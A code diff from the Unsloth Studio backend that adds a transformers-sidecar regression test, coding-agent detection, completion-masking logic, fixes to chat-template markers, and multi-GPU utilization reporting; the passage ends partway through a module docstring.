+regression on CPU CI. The spoof mirrors ``tests/_zoo_aggressive_cuda_spoof.py`` but is inlined so the
+test is self-contained in the ``studio-backend-ci`` matrix (whose conftest does not apply the shared
+spoof). No GPU/network/weights/real sidecar needed: a one-line stub sidecar stands in for the 5.x venv,
+so we only assert activation lands on it.
+
+Proven: passes on the fixed tree (active == 5.3.0) and fails on the buggy tree (active == 4.57.x) on
+a simulated GPU-less runner.
+"""
+
+from __future__ import annotations
+
+import subprocess
+import sys
+from pathlib import Path
+
+_BACKEND_DIR = Path(__file__).resolve().parent.parent  # studio/backend
+# Canonical CUDA spoof at the repo root (studio/backend -> studio -> repo root). Loaded by the
+# subprocess when present (matches the consolidated CI); absent in a standalone studio checkout, where
+# the subprocess falls back to a minimal inline spoof.
+_SPOOF_PATH = _BACKEND_DIR.parent.parent / "tests" / "_zoo_aggressive_cuda_spoof.py"
+
+# Runs in a fresh interpreter with cwd == studio/backend so ``utils.*`` resolves like the worker.
+# STUB_HOME (a pytest tmp dir) holds a throwaway ``.venv_t5_530`` sidecar exporting transformers 5.3.0.
+_SNIPPET = r"""
+import os, sys
+sys.path.insert(0, os.getcwd())
+
+# CUDA spoof so unsloth_zoo takes its full, transformers-importing init path on a GPU-less runner.
+# Without it unsloth_zoo degrades and never preloads transformers, which would MASK the stale-import
+# regression under test (verified). Prefer the repo's canonical spoof (single source of truth, and the
+# one the consolidated CI already relies on); fall back to a minimal inline spoof so this also works in
+# a standalone studio checkout. If torch is absent the fixed tree still passes below; the bug just
+# would not be exposable in that shard.
+try:
+    import torch  # noqa: F401
+    _sp = os.environ.get("SPOOF_PATH")
+    if _sp and os.path.exists(_sp):
+        import importlib.util
+        _spec = importlib.util.spec_from_file_location("_zoo_aggressive_cuda_spoof", _sp)
+        _mod = importlib.util.module_from_spec(_spec)
+        _spec.loader.exec_module(_mod)
+        _mod.apply()
+    else:
+        torch.cuda.is_available = lambda: True
+        torch.cuda.device_count = lambda: 1
+        torch.cuda.current_device = lambda: 0
+        torch.cuda.get_device_capability = lambda *a, **k: (8, 0)
+        torch.cuda.get_device_name = lambda *a, **k: "NVIDIA A100-SPOOFED"
+        torch.cuda.is_bf16_supported = lambda *a, **k: True
+        class _Props:
+            name = "NVIDIA A100-SPOOFED"
+            major = 8
+            minor = 0
+            total_memory = 80 * 1024**3
+            multi_processor_count = 108
+        torch.cuda.get_device_properties = lambda *a, **k: _Props()
+        torch.cuda.mem_get_info = lambda *a, **k: (0, 80 * 1024**3)
+except Exception:
+    pass
+os.environ["UNSLOTH_IS_PRESENT"] = "1"
+
+# Stub 5.x sidecar: activation only edits sys.path, so a package that merely exports __version__ is
+# enough to prove the resident transformers switched to it.
+home = os.environ["STUB_HOME"]
+pkg = os.path.join(home, ".venv_t5_530", "transformers")
+os.makedirs(pkg, exist_ok = True)
+with open(os.path.join(pkg, "__init__.py"), "w") as f:
+    f.write('__version__ = "5.3.0"\n')
+os.environ["UNSLOTH_STUDIO_HOME"] = home
+
+# Faithful worker preflight (worker.py: from utils.hf_xet_fallback import child_should_disable_xet).
+# This is the exact stale-import trigger: on the buggy tree it pulls unsloth_zoo -> transformers 4.57.x
+# into sys.modules BEFORE activation.
+from utils.hf_xet_fallback import child_should_disable_xet
+child_should_disable_xet({})
+_tf = sys.modules.get("transformers")
+preload = _tf.__version__ if _tf is not None else None
+
+# Real tier detection + real activation, with the 530 sidecar pointed at the stub above.
+import utils.transformers_version as tv
+tv._VENV_T5_530_DIR = os.path.join(home, ".venv_t5_530")
+tv._ensure_venv_t5_530_exists = lambda: True
+tier = tv.get_transformers_tier("Qwen/Qwen3.5-9B", None)
+tv.activate_transformers_for_subprocess("Qwen/Qwen3.5-9B", None)
+
+import transformers
+print(f"RESULT tier={tier} preload={preload} active={transformers.__version__}")
+"""
+
+
+def _parse(stdout: str) -> dict[str, str]:
+    for line in stdout.splitlines():
+        if line.startswith("RESULT "):
+            return dict(kv.split("=", 1) for kv in line.split()[1:])
+    return {}
+
+
+def test_worker_activates_correct_transformers_version(tmp_path):
+    """The worker's real preflight + activation for a transformers-5.x model (Qwen3.5, tier 530) must
+    leave the in-process ``transformers`` on the 5.x sidecar. A stale pre-activation import leaves the
+    default 4.57.x pinned and fails this assertion -- exactly the #6951 ``TokenizersBackend`` regression."""
+    result = subprocess.run(
+        [sys.executable, "-c", _SNIPPET],
+        cwd = str(_BACKEND_DIR),
+        env = {
+            **__import__("os").environ,
+            "STUB_HOME": str(tmp_path),
+            **({"SPOOF_PATH": str(_SPOOF_PATH)} if _SPOOF_PATH.exists() else {}),
+        },
+        capture_output = True,
+        text = True,
+    )
+    assert result.returncode == 0, (
+        "Worker preflight + activation harness crashed.\n"
+        f"STDOUT:\n{result.stdout}\nSTDERR:\n{result.stderr}"
+    )
+    parsed = _parse(result.stdout)
+    assert parsed, f"No RESULT line.\nSTDOUT:\n{result.stdout}\nSTDERR:\n{result.stderr}"
+
+    # Correct tier chosen for a transformers-5.x model (pure, deterministic; no network/GPU).
+    assert parsed["tier"] == "530", (
+        f"Wrong transformers tier for Qwen3.5 (expected 530, got {parsed['tier']}). "
+        "Tier detection regressed."
+    )
+
+    # Activation must actually swap the resident transformers to the sidecar version. If a preflight
+    # import cached 4.57.x first, the sidecar prepend is a no-op and this stays 4.57.x -- the bug.
+    assert parsed["active"] == "5.3.0", (
+        "Sidecar activation did NOT switch the in-process transformers to the model's 5.x version "
+        f"(active={parsed['active']}, preloaded-before-activation={parsed['preload']}). A pre-activation "
+        "transformers import (directly or via unsloth_zoo) defeated the sidecar; 5.x models (Qwen3.5, "
+        "GLM-4.7, gemma-4) then fail with 'Tokenizer class TokenizersBackend does not exist'. See #6951."
+    )
diff --git a/studio/backend/utils/coding_agents.py b/studio/backend/utils/coding_agents.py
new file mode 100644
index 0000000000..f7dd2f8357
--- /dev/null
+++ b/studio/backend/utils/coding_agents.py
@@ -0,0 +1,39 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Detect which `unsloth start <agent>` coding-agent CLIs are on PATH.
+
+The web UI only ever shows the user the "claude" flavor of the `unsloth start`
+command (see agent-command.ts), leaving anyone using Codex, OpenCode, and the
+other supported agents to manually edit the copied command. This module gives
+the frontend a way to ask which of those CLIs are actually installed so it can
+default to one the user can run immediately.
+"""
+
+import shutil
+
+# Keep in sync with the `unsloth start <agent>` subcommands defined in
+# unsloth_cli/commands/start.py. Each entry is the exact executable name that
+# subcommand launches, so a hit here means `unsloth start <agent>` can find the
+# binary on PATH without the user installing anything first.
+CODING_AGENTS: tuple[str, ...] = ("claude", "codex", "openclaw", "opencode", "hermes", "pi")
+
+
+def _is_on_path(agent: str) -> bool:
+    # shutil.which is documented to return None on a miss, but PATH lookups can
+    # still raise (e.g. a permission error while probing a directory entry);
+    # this is an advisory check, so a lookup failure should read as "not
+    # installed" instead of breaking the settings endpoint.
+    try:
+        return shutil.which(agent) is not None
+    except OSError:
+        return False
+
+
+def detect_installed_coding_agents() -> list[str]:
+    """Return the subset of CODING_AGENTS whose CLI binary is on PATH.
+
+    Order follows CODING_AGENTS, not discovery order, so callers can treat the
+    first entry as the preferred default among the installed agents.
+    """
+    return [agent for agent in CODING_AGENTS if _is_on_path(agent)]
diff --git a/studio/backend/utils/datasets/completion_masking.py b/studio/backend/utils/datasets/completion_masking.py
new file mode 100644
index 0000000000..c7c4a474e3
--- /dev/null
+++ b/studio/backend/utils/datasets/completion_masking.py
@@ -0,0 +1,144 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Completion-only masking policy shared by the CUDA and MLX training paths.
+
+Decides how train_on_responses_only is applied for a model: chat template
+auto-detection first, manual TEMPLATE_TO_RESPONSES_MAPPER markers as the
+fallback. gpt-oss included: its quantized checkpoints ship a different
+chat template, so only detection from the actual template is reliable.
+"""
+
+from .model_mappings import (
+    MODEL_TO_TEMPLATE_MAPPER,
+    TEMPLATE_TO_RESPONSES_MAPPER,
+    is_gpt_oss_model_name,
+)
+
+
+def lookup_manual_markers(model_name):
+    """Return (template_name, instruction_part, response_part) from the
+    manual template table, with None parts when the model or template is
+    not mapped."""
+    template = MODEL_TO_TEMPLATE_MAPPER.get((model_name or "").lower())
+    markers = TEMPLATE_TO_RESPONSES_MAPPER.get(template) if template else None
+    if markers:
+        return template, markers["instruction"], markers["response"]
+    return template, None, None
+
+
+def apply_completion_masking(
+    trainer,
+    model_name,
+    train_fn,
+    num_proc = None,
+    notify = None,
+    detect_fn = None,
+):
+    """Apply completion-only masking with auto-detection first and the manual
+    template table as fallback.
+
+    Args:
+        trainer: The platform trainer (SFTTrainer or MLXTrainer).
+        model_name: Model repo id used for table lookup and the gpt-oss
+            renamed-checkpoint fallback.
+        train_fn: The platform train_on_responses_only callable.
+        num_proc: Forwarded to train_fn when not None (CUDA path only).
+        notify: Optional callback notify(level, message) with level "info" or
+            "warning" for user-visible progress and warnings.
+        detect_fn: Marker detector (tokenizer/processor) -> (instruction_part,
+            response_part). Defaults to unsloth_zoo's get_chat_template_parts,
+            which raises loudly when the template cannot be parsed. Test seam.
+
+    Returns:
+        (trainer, applied): the possibly wrapped trainer and whether masking
+        was applied. When applied is False the trainer is unchanged and
+        training runs on full sequences.
+
+    Only marker DETECTION failures trigger the table fallback. Exceptions
+    raised while applying the masking (dataset map, tokenization) propagate
+    to the caller in both the auto and manual paths, so a real failure stops
+    the run instead of silently changing the training objective.
+    """
+    if notify is None:
+        notify = lambda level, message: None
+    kwargs = {}
+    if num_proc is not None:
+        kwargs["num_proc"] = num_proc
+
+    template, instruction_part, response_part = lookup_manual_markers(model_name)
+
+    # gpt-oss goes auto-first: quantized/BF16 checkpoints ship a channel-less
+    # template, so the manual markers match nothing (zero tokens trained). Auto
+    # derives markers from whichever template ships, and per the harmony format
+    # only the final terminator carries stop supervision. Renamed checkpoints
+    # miss the exact-name table, so give the fallback the gpt-oss markers.
+    if is_gpt_oss_model_name(model_name) and not (instruction_part and response_part):
+        markers = TEMPLATE_TO_RESPONSES_MAPPER.get("gpt-oss")
+        if markers:
+            template = "gpt-oss"
+            instruction_part = markers["instruction"]
+            response_part = markers["response"]
+    processor = getattr(trainer, "processing_class", None) or getattr(trainer, "tokenizer", None)
+    # mlx-lm TokenizerWrapper hides underscore attrs, so preset _unsloth_*
+    # markers are invisible through it. Unwrap to the real tokenizer (as
+    # zoo's MLX resolver does) before the preset check and detection.
+    if type(processor).__name__ == "TokenizerWrapper":
+        wrapped = getattr(processor, "_tokenizer", None)
+        if wrapped is not None:
+            processor = wrapped
+    inner = getattr(processor, "tokenizer", processor)
+    if hasattr(inner, "_unsloth_input_part") and hasattr(inner, "_unsloth_output_part"):
+        # Markers preset on the tokenizer; zoo reuses them on a bare call.
+        trainer = train_fn(trainer, **kwargs)
+        notify(
+            "info",
+            "Train on responses only configured via tokenizer preset markers",
+        )
+        return trainer, True
+    auto_instruction = auto_response = None
+    try:
+        if detect_fn is None:
+            # Torch-backed import is fine: the MLX train_fn itself requires
+            # unsloth_zoo.dataset_utils, so a torch-free host cannot mask either way.
+            from unsloth_zoo.dataset_utils import get_chat_template_parts as detect_fn
+        auto_instruction, auto_response = detect_fn(processor)
+    except Exception as e:
+        notify(
+            "warning",
+            f"Auto-detection of instruction/response markers failed ({e}); "
+            f"falling back to the template table",
+        )
+    if auto_instruction and auto_response:
+        trainer = train_fn(
+            trainer,
+            instruction_part = auto_instruction,
+            response_part = auto_response,
+            **kwargs,
+        )
+        notify(
+            "info",
+            "Train on responses only configured via chat template auto-detection",
+        )
+        return trainer, True
+
+    if instruction_part and response_part:
+        trainer = train_fn(
+            trainer,
+            instruction_part = instruction_part,
+            response_part = response_part,
+            **kwargs,
+        )
+        notify(
+            "info",
+            f"Train on responses only configured with template table markers ({template})",
+        )
+        return trainer, True
+
+    notify(
+        "warning",
+        f"'Train on completions' could not be applied for {model_name}: no "
+        f"auto-detected or mapped instruction/response markers. Training "
+        f"will run on full sequences (prompts included).",
+    )
+    return trainer, False
diff --git a/studio/backend/utils/datasets/model_mappings.py b/studio/backend/utils/datasets/model_mappings.py
index 463d26a692..65ba4b4688 100644
--- a/studio/backend/utils/datasets/model_mappings.py
+++ b/studio/backend/utils/datasets/model_mappings.py
@@ -485,9 +485,11 @@ TEMPLATE_TO_RESPONSES_MAPPER = {
         "instruction": "<|im_start|>user\n",
         "response": "<|im_start|>assistant\n",
     },
+    # No "<think>" suffix: Qwen3-Thinking-2507 strips it from non-final turns
+    # and QwQ renders none, so a marker holding it masks those responses.
     "qwen3-thinking": {
         "instruction": "<|im_start|>user\n",
-        "response": "<|im_start|>assistant\n<think>\n",
+        "response": "<|im_start|>assistant\n",
     },
     "qwen3": {
         "instruction": "<|im_start|>user\n",
@@ -525,29 +527,39 @@ TEMPLATE_TO_RESPONSES_MAPPER = {
         "instruction": "<|im_start|>user<|im_sep|>",
         "response": "<|im_start|>assistant<|im_sep|>",
     },
+    # No surrounding spaces: in Mistral v0.3 they fold into neighbouring text
+    # tokens ("[INST]"/"[/INST]" are single special tokens), so padded strings
+    # never match and everything masks. Same for Llama-2's SentencePiece.
     "mistral": {
-        "instruction": "[INST] ",
-        "response": " [/INST]",
+        "instruction": "[INST]",
+        "response": "[/INST]",
     },
     "llama": {
-        "instruction": "[INST] ",
-        "response": " [/INST]",
+        # <s>-anchored: llama-2 tokenizes [INST] after <s> as bare "[" on
+        # transformers 5.x (standalone gives space-prefixed "▁["), so an
+        # unanchored marker misses every turn boundary there.
+        "instruction": "<s>[INST]",
+        "response": "[/INST]",
     },
     "chatml": {
         "instruction": "<|im_start|>user\n",
         "response": "<|im_start|>assistant\n",
     },
+    # Leading newline required: Zephyr's role tags are plain text, and
+    # SentencePiece tokenizes "<|assistant|>" differently at text start than
+    # after "</s>\n". Without the "\n" anchor the markers never match real
+    # turns, so every assistant token masks.
     "zephyr": {
-        "instruction": "<|user|>\n",
-        "response": "<|assistant|>\n",
+        "instruction": "\n<|user|>\n",
+        "response": "\n<|assistant|>\n",
     },
     "unsloth": {
-        "instruction": ">>> User: ",
-        "response": ">>> Assistant: ",
+        "instruction": ">>> User:",
+        "response": ">>> Assistant:",
     },
     "vicuna": {
-        "instruction": "USER: ",
-        "response": "ASSISTANT: ",
+        "instruction": "USER:",
+        "response": "ASSISTANT:",
     },
     "alpaca": {
         "instruction": "### Instruction:\n",
@@ -573,16 +585,21 @@ TEMPLATE_TO_RESPONSES_MAPPER = {
         "instruction": "<|im_start|>user\n",
         "response": "<|im_start|>assistant\n",
     },
+    # No trailing space: SentencePiece folds it into the next content token
+    # ("▁Hello"), so the padded marker never matches and masks everything.
     "starling": {
-        "instruction": "GPT4 Correct User: ",
-        "response": "GPT4 Correct Assistant: ",
+        "instruction": "GPT4 Correct User:",
+        "response": "GPT4 Correct Assistant:",
     },
     "yi-chat": {
         "instruction": "<|im_start|>user\n",
         "response": "<|im_start|>assistant\n",
     },
+    # "[gMASK]<sop>" appears once at text start, so a marker holding it matches
+    # no later user turn; "<think>" is scaffolding GLM-4.x renders as a lone
+    # "</think>" on non-final turns, so "<|assistant|><think>" never matches.
     "glm": {
-        "instruction": "[gMASK]<sop><|user|>",
-        "response": "<|assistant|><think>",
+        "instruction": "<|user|>",
+        "response": "<|assistant|>",
     },
 }
diff --git a/studio/backend/utils/hardware/__init__.py b/studio/backend/utils/hardware/__init__.py
index 5f2b2abbcf..62b537fbac 100644
--- a/studio/backend/utils/hardware/__init__.py
+++ b/studio/backend/utils/hardware/__init__.py
@@ -44,6 +44,12 @@ from .vram_estimation import (
     estimate_training_vram,
 )
 
+
+def export_capability() -> dict:
+    """Return live export capability from the hardware module."""
+    return _hardware.export_capability()
+
+
 __all__ = [
     "DeviceType",
     "DEVICE",
@@ -51,6 +57,7 @@ __all__ = [
     "IS_ROCM",
     "detect_hardware",
     "get_device",
+    "export_capability",
     "is_apple_silicon",
     "clear_gpu_cache",
     "get_gpu_memory_info",
diff --git a/studio/backend/utils/hardware/hardware.py b/studio/backend/utils/hardware/hardware.py
index 88a1784b88..117ad7b780 100644
--- a/studio/backend/utils/hardware/hardware.py
+++ b/studio/backend/utils/hardware/hardware.py
@@ -49,6 +49,11 @@ logger = get_logger(__name__)
 # and spawn workers copy os.environ. setdefault so an explicit user override wins.
 os.environ.setdefault("CUDA_DEVICE_ORDER", "PCI_BUS_ID")
 
+# Studio workers can import MLX without importing unsloth first, so mirror the
+# package bootstrap here. Keep an explicit user value authoritative.
+if platform.system() == "Darwin" and platform.machine() == "arm64":
+    os.environ.setdefault("AGX_RELAX_CDM_CTXSTORE_TIMEOUT", "1")
+
 
 # ========== Device Enum ==========
 
@@ -263,6 +268,49 @@ def get_device() -> DeviceType:
     return DEVICE
 
 
+def export_capability() -> dict:
+    """Whether model export can run here, with a torch-aware reason when it cannot.
+
+    Export runs through Unsloth, which hard-requires an accelerator (it calls ``torch.cuda`` at
+    import and has no CPU path), so it is supported iff ``get_device() in {CUDA, XPU, MLX}``. The
+    reason distinguishes a --no-torch install from a bare-CPU host. Safe to call without torch.
+
+    Returns {export_supported, export_unsupported_reason, export_unsupported_message}.
+    """
+    if get_device() in (DeviceType.CUDA, DeviceType.XPU, DeviceType.MLX):
+        return {
+            "export_supported": True,
+            "export_unsupported_reason": None,
+            "export_unsupported_message": None,
+        }
+    # No accelerator: name the blocker. Apple Silicon first -- its path is MLX, so "install PyTorch"
+    # would be wrong advice on a Mac even when torch is also absent.
+    if is_apple_silicon():
+        reason = "mlx_unavailable"
+        message = (
+            "Export on Apple Silicon requires the MLX stack, which is unavailable or too old. Run "
+            "`unsloth studio update` to restore MLX and enable export."
+        )
+    elif not _has_torch():
+        reason = "pytorch_not_installed"
+        message = (
+            "PyTorch is not installed. Model export requires PyTorch with a supported accelerator "
+            "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export."
+        )
+    else:
+        reason = "no_accelerator"
+        message = (
+            "Export requires an NVIDIA, AMD, or Intel GPU, or Apple Silicon (MLX). No supported "
+            "accelerator was found on this host. (PyTorch is installed, but Unsloth cannot export "
+            "on CPU only.)"
+        )
+    return {
+        "export_supported": False,
+        "export_unsupported_reason": reason,
+        "export_unsupported_message": message,
+    }
+
+
 def clear_gpu_cache():
     """
     Clear GPU memory cache for the current device.
@@ -710,82 +758,159 @@ def _rocm_windows_perf_counter_vram_gb() -> tuple[Optional[float], Optional[floa
         return None, None
 
 
+def _gpu_utilization_payload(
+    device: DeviceType, devices: list[Dict[str, Any]], **metadata: Any
+) -> Dict[str, Any]:
+    """Keep the legacy primary-GPU shape and append all visible devices."""
+    backend = _backend_label(device)
+    normalized = []
+    for ordinal, raw in enumerate(devices):
+        dev = dict(raw)
+        dev.setdefault("available", True)
+        dev.setdefault("backend", backend)
+        if dev.get("visible_ordinal") is None:
+            dev["visible_ordinal"] = ordinal
+        normalized.append(dev)
+
+    normalized.sort(key = lambda dev: dev.get("visible_ordinal", dev.get("index", 0)))
+    payload: Dict[str, Any] = {
+        "available": bool(normalized),
+        "backend": backend,
+        "devices": normalized,
+    }
+    payload.update(metadata)
+    if normalized:
+        payload.update(normalized[0])
+        payload["available"] = True
+        payload["backend"] = normalized[0].get("backend", backend)
+        payload["devices"] = normalized
+    return payload
+
+
 def get_gpu_utilization() -> Dict[str, Any]:
-    """Return a live snapshot of device utilization information."""
+    """Live utilization snapshot for the primary GPU plus all visible GPUs."""
     device = get_device()
 
+    if device == DeviceType.XPU:
+        result = get_visible_gpu_utilization()
+        return _gpu_utilization_payload(
+            device,
+            result.get("devices", []),
+            parent_visible_gpu_ids = result.get("parent_visible_gpu_ids", []),
+            index_kind = result.get("index_kind"),
+        )
+
     if device == DeviceType.CUDA:
-        result = _smi_query("get_primary_gpu_utilization")
-        if result is not None:
-            result["backend"] = _backend_label(device)
-            if IS_ROCM:
-                # Fix unified-memory VRAM on AMD iGPUs (Strix Halo etc.).
-                _reconcile_primary_rocm_unified_memory(result, _get_parent_visible_gpu_spec())
-            return result
-        # SMI unavailable. On Windows, use Performance Counters (Task Manager
-        # source) for system-wide VRAM, covering cross-process usage torch can't see.
+        parent_visible_spec = _get_parent_visible_gpu_spec()
+        result = _smi_query(
+            "get_visible_gpu_utilization",
+            parent_visible_spec["numeric_ids"],
+            parent_cuda_visible_devices = parent_visible_spec["raw"],
+        )
+        if result is not None and "devices" in result:
+            devices = result["devices"]
+            numeric_ids = parent_visible_spec.get("numeric_ids")
+            if IS_ROCM and numeric_ids is not None:
+                _reconcile_rocm_unified_memory(result, numeric_ids)
+
+            return _gpu_utilization_payload(
+                device,
+                devices,
+                backend_cuda_visible_devices = result.get("backend_cuda_visible_devices"),
+                parent_visible_gpu_ids = result.get("parent_visible_gpu_ids", []),
+                index_kind = result.get("index_kind"),
+            )
+
+        # Fallback Windows ROCm
         if IS_ROCM and platform.system() == "Windows":
             _win_used, _win_total = _rocm_windows_perf_counter_vram_gb()
             if _win_used is not None and _win_total is not None:
                 _win_util = _rocm_windows_perf_counter_gpu_util_pct()
-                return {
-                    "available": True,
-                    "backend": _backend_label(device),
-                    "gpu_utilization_pct": _win_util,
-                    "temperature_c": None,
-                    "vram_used_gb": _win_used,
-                    "vram_total_gb": _win_total,
-                    "vram_utilization_pct": round((_win_used / _win_total) * 100, 1)
-                    if _win_total > 0
-                    else None,
-                    "power_draw_w": None,
-                    "power_limit_w": None,
-                    "power_utilization_pct": None,
-                }
-        # Linux: DRM sysfs gives system-wide VRAM across all processes, no tools needed.
+                return _gpu_utilization_payload(
+                    device,
+                    [
+                        {
+                            "available": True,
+                            "backend": _backend_label(device),
+                            "index": 0,
+                            "visible_ordinal": 0,
+                            "gpu_utilization_pct": _win_util,
+                            "temperature_c": None,
+                            "vram_used_gb": _win_used,
+                            "vram_total_gb": _win_total,
+                            "vram_utilization_pct": round((_win_used / _win_total) * 100, 1)
+                            if _win_total > 0
+                            else None,
+                            "power_draw_w": None,
+                            "power_limit_w": None,
+                            "power_utilization_pct": None,
+                        }
+                    ],
+                )
+
+        # Fallback Linux ROCm
         if IS_ROCM and platform.system() == "Linux":
             _linux_used, _linux_total = _rocm_linux_sysfs_vram_gb()
             if _linux_used is not None and _linux_total is not None:
                 _linux_util = _rocm_linux_sysfs_gpu_busy_pct()
                 _linux_temp = _rocm_linux_sysfs_temp_c()
                 _linux_power = _rocm_linux_sysfs_power_w()
-                return {
-                    "available": True,
-                    "backend": _backend_label(device),
-                    "gpu_utilization_pct": _linux_util,
-                    "temperature_c": _linux_temp,
-                    "vram_used_gb": _linux_used,
-                    "vram_total_gb": _linux_total,
-                    "vram_utilization_pct": round((_linux_used / _linux_total) * 100, 1)
-                    if _linux_total > 0
-                    else None,
-                    "power_draw_w": _linux_power,
-                    "power_limit_w": None,
-                    "power_utilization_pct": None,
-                }
-        # Last resort: torch mem_get_info (process-local).
-        _visible_spec = _get_parent_visible_gpu_spec()
-        _numeric_ids = _visible_spec.get("numeric_ids") or [0]
-        _primary_idx = [_numeric_ids[0]] if _numeric_ids else [0]
-        _torch_devices = _torch_get_per_device_info(_primary_idx)
-        if _torch_devices:
-            _td = _torch_devices[0]
-            _total = _td["total_gb"]
-            _used = _td["used_gb"]
-            return {
-                "available": True,
-                "backend": _backend_label(device),
-                "gpu_utilization_pct": None,
-                "temperature_c": None,
-                "vram_used_gb": _used,
-                "vram_total_gb": _total,
-                "vram_utilization_pct": round((_used / _total) * 100, 1) if _total > 0 else None,
-                "power_draw_w": None,
-                "power_limit_w": None,
-                "power_utilization_pct": None,
-            }
+                return _gpu_utilization_payload(
+                    device,
+                    [
+                        {
+                            "available": True,
+                            "backend": _backend_label(device),
+                            "index": 0,
+                            "visible_ordinal": 0,
+                            "gpu_utilization_pct": _linux_util,
+                            "temperature_c": _linux_temp,
+                            "vram_used_gb": _linux_used,
+                            "vram_total_gb": _linux_total,
+                            "vram_utilization_pct": round((_linux_used / _linux_total) * 100, 1)
+                            if _linux_total > 0
+                            else None,
+                            "power_draw_w": _linux_power,
+                            "power_limit_w": None,
+                            "power_utilization_pct": None,
+                        }
+                    ],
+                )
 
-    # MLX: _read_apple_gpu_stats() carries both VRAM-used and GPU util%.
+        # Last resort: torch mem_get_info (process-local) for all visible GPUs
+        _visible_spec = _get_parent_visible_gpu_spec()
+        _numeric_ids = _visible_spec.get("numeric_ids") or []
+        if not _numeric_ids:
+            visible_count = _torch_get_physical_gpu_count() or 0
+            _numeric_ids = list(range(visible_count))
+
+        _torch_devices = _torch_get_per_device_info(_numeric_ids)
+        if _torch_devices:
+            gpu_array = []
+            for _td in _torch_devices:
+                _total = _td["total_gb"]
+                _used = _td["used_gb"]
+                gpu_array.append(
+                    {
+                        "available": True,
+                        "backend": _backend_label(device),
+                        "index": _td["index"],
+                        "name": _td.get("name", "Unknown"),
+                        "gpu_utilization_pct": None,
+                        "temperature_c": None,
+                        "vram_used_gb": _used,
+                        "vram_total_gb": _total,
+                        "vram_utilization_pct": round((_used / _total) * 100, 1)
+                        if _total > 0
+                        else None,
+                        "power_draw_w": None,
+                        "power_limit_w": None,
+                        "power_utilization_pct": None,
+                    }
+                )
+            return _gpu_utilization_payload(device, gpu_array)
+
+    # MLX
     if device == DeviceType.MLX:
         try:
             import psutil
@@ -793,9 +918,8 @@ def get_gpu_utilization() -> Dict[str, Any]:
             total_bytes = psutil.virtual_memory().total
         except Exception as e:
             logger.error(f"Error getting MLX GPU utilization: {e}")
-            return {"available": False, "backend": device.value, "error": str(e)}
-        if not agx:
-            return {"available": False, "backend": device.value}
+            return {"available": False, "backend": device.value, "devices": [], "error": str(e)}
+
         allocated_bytes = agx.get("vram_used_bytes", 0) or 0
         vram_used_gb = allocated_bytes / (1024**3)
         total_gb = total_bytes / (1024**3)
@@ -814,37 +938,51 @@ def get_gpu_utilization() -> Dict[str, Any]:
 
         from . import apple
 
-        return {
-            "available": True,
-            "backend": device.value,
-            "gpu_utilization_pct": agx.get("utilization_pct") if agx else None,
-            "temperature_c": apple.read_gpu_temperature_c(),
-            "vram_used_gb": round(vram_used_gb, 2),
-            "vram_total_gb": round(total_gb, 2),
-            "vram_utilization_pct": (
-                round((vram_used_gb / total_gb) * 100, 1) if total_gb > 0 else None
-            ),
-            "power_draw_w": apple.read_gpu_power_w(),
-            "power_limit_w": None,
-            "power_utilization_pct": None,
-        }
+        return _gpu_utilization_payload(
+            device,
+            [
+                {
+                    "available": True,
+                    "backend": device.value,
+                    "index": 0,
+                    "visible_ordinal": 0,
+                    "gpu_utilization_pct": agx.get("utilization_pct") if agx else None,
+                    "temperature_c": apple.read_gpu_temperature_c(),
+                    "vram_used_gb": round(vram_used_gb, 2),
+                    "vram_total_gb": round(total_gb, 2),
+                    "vram_utilization_pct": round((vram_used_gb / total_gb) * 100, 1)
+                    if total_gb > 0
+                    else None,
+                    "power_draw_w": apple.read_gpu_power_w(),
+                    "power_limit_w": None,
+                    "power_utilization_pct": None,
+                }
+            ],
+        )
 
     mem = get_gpu_memory_info()
     if device != DeviceType.CPU and mem.get("available"):
-        return {
-            "available": True,
-            "backend": _backend_label(device),
-            "gpu_utilization_pct": None,
-            "temperature_c": None,
-            "vram_used_gb": round(mem.get("allocated_gb", 0), 2),
-            "vram_total_gb": round(mem.get("total_gb", 0), 2),
-            "vram_utilization_pct": round(mem.get("utilization_pct", 0), 1),
-            "power_draw_w": None,
-            "power_limit_w": None,
-            "power_utilization_pct": None,
-        }
+        return _gpu_utilization_payload(
+            device,
+            [
+                {
+                    "available": True,
+                    "backend": _backend_label(device),
+                    "index": mem.get("device", 0),
+                    "visible_ordinal": 0,
+                    "gpu_utilization_pct": None,
+                    "temperature_c": None,
+                    "vram_used_gb": round(mem.get("allocated_gb", 0), 2),
+                    "vram_total_gb": round(mem.get("total_gb", 0), 2),
+                    "vram_utilization_pct": round(mem.get("utilization_pct", 0), 1),
+                    "power_draw_w": None,
+                    "power_limit_w": None,
+                    "power_utilization_pct": None,
+                }
+            ],
+        )
 
-    return {"available": False, "backend": _backend_label(device)}
+    return {"available": False, "backend": _backend_label(device), "devices": []}
 
 
 def _apply_unified_memory_correction(
diff --git a/studio/backend/utils/hf_xet_fallback.py b/studio/backend/utils/hf_xet_fallback.py
index 15961ac03a..9bc4a60fad 100644
--- a/studio/backend/utils/hf_xet_fallback.py
+++ b/studio/backend/utils/hf_xet_fallback.py
@@ -1,341 +1,283 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Xet-primary HF downloads with an automatic HTTP fallback on a no-progress stall.
+"""Studio shim over the shared ``unsloth_zoo.hf_xet_fallback`` Xet -> HTTP stall fallback.
 
-Xet (``hf_xet``) is the fast default but can hang with no progress and no
-exception, and a blocked native thread cannot be killed. Keep Xet primary; fall
-back to plain HTTP only when the parent observes a stall. ``HF_HUB_DISABLE_XET``
-is read at import time, so the fallback runs in a fresh ``spawn`` child (not a
-thread) that sets the env before importing ``huggingface_hub``. Cached files
-short-circuit with no child; deterministic errors (401/403/404/disk-full) and
-cancellation propagate without a fallback. Mirrors the safetensors inference
-recovery in core/inference/{orchestrator,worker}.py.
+Re-exports the shared API and injects Studio's marker-aware cache purge
+(``prepare_cache_for_transport``) so the download manager keeps its ``.transport``
+marker semantics on the HTTP retry.
+
+Import discipline: ``unsloth_zoo``'s ``__init__`` eagerly imports ``transformers``. The workers
+import this shim at startup (to decide the per-worker Xet env flip) *before* activating the model's
+``transformers`` sidecar. Activation only prepends the sidecar to ``sys.path``, so a ``transformers``
